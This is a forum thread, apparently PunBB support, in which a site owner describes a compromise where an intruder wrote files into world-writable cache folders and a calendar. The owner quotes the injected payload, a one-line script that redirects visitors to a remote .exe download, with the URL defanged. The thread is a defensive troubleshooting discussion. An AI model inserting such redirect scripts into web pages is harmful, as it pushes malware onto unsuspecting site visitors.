Search options (Page 1 of 5)

Thanks for the reply Smartys!!! This answers my question..

Thanks! -:)

I see... Maybe thats the reason. I should make my password then harder to crack.

Thanks Again for your help!

Just a final thought, since this vulnerability that had exploited my cache directory, its my assumption they got in through a command-line access since the cache directory and cache files were world-writable and easily accessed this way. Maybe any world-writable files or data that stored in the www in the next punbb version should instead be stored in the MySql database instead to better avoid this type of furture happenings.

Just my thought though, but thanks to everyone who had helped me with my problem.

Cheers!

Oh really? You mean their is already supost to be a .htaccess file in there? Guess that guy removed it then too.

Smarty, do me a favor if you can, past me over the the .htaccess code for that cache folder so I can re-generate a new .htaccess file to stick back in there. Would appreciate!

Thanks!

It looks like the intruder managed to gain sufficient access to overwrite all world writable files and add files to world writable directories (i.e. files and folders with 666 or 777 permissions). That suggests that it's likely that access was gained via an insecure PHP script rather than by someone logging into via FTP under my username and password.

Smarty, how did this person manage to get into my site to do this stuff??? Do I have a loop hole somewhere??? And how do I prevent this from happening again??

I cannot figure how that person cleared my cache quickjump files of all content to stick that scripting code in all of them? Including uploading a index.htm into my cache folder with that same coding?

Sssshhhheeesh......

Didn't find anything in my sql database. But when I checked my "cache", they're it WAS!!!! ...WOW!!!! Some how that person got a "index.htm" and a "index.php" file to load into my cache directory folder, and into some of my cache_quickjump files!!!! ..Shit!!!

This is what I found in the index.htm file and my quickjump files::

<script>location.href="h-t-t-p://w-w-w-.mkekilli.com/giris.exe";</script>

Since I am not a coder, How the hell did this person get this stuff into my cache folder???

Infact I found this malicious coding to be posted in my "Calendar". Seems when I try to look at my calendar, the program will try to auto open. The file name is "giris.exe". Seams to iminating/parsing from URL (mkekilli.com)

Got to try and delete calendar db/content to clear this malicious coding.

PS...... DON'T CLICK ON THE LINK, I JUST FOUND OUT THAT IT WILL DOWNLOAD!!!!! .....YIKES!!!!

I took out the www. Should be safe now. But do not open.

Hi guardian34,

It worked fine and just what I wanted!! Thank you sooooo very much!!!

Cheers

BTW,  Smarty I noticed after installing this script, that I have a harder time moving around on my site. Does this plugin put a 'heavy load' on the server / database?

Just wondering....